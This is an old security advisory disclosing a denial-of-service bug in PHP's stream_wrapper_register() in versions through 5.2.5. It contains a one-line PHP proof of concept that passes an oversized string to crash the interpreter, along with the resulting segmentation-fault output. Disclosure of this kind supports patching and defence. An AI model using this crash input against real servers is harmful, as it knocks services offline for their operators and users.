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HistoryNov 14, 2007 - 12:00 a.m.

PHP <= 5.2.5 stream_wrapper_register() denial of service

2007-11-1400:00:00
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Application: PHP <= 5.2.5
Web Site: http://php.net
Platform: unix
Bug: Denial of service
fonction: stream_wrapper_register()
special condition: default php-memory-limit

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits

1) Introduction

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug

stream_wrapper_register() is vulnerable to a denial of service

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3)Proof of concept

Proof of concept example :

<?php
stream_wrapper_register("hi",str_repeat("A",8477000));//let's make sure we trigger it !
?>

result:
root@unsafebox:~/Desktop# php shot.php
Erreur de segmentation (core dumped)
root@unsafebox:~/Desktop#

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4)Greets

Benjilenoob, Ivanlef0u, la team soh, #futurezone, #soh

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5)Credits

laurent gaffiΠΉ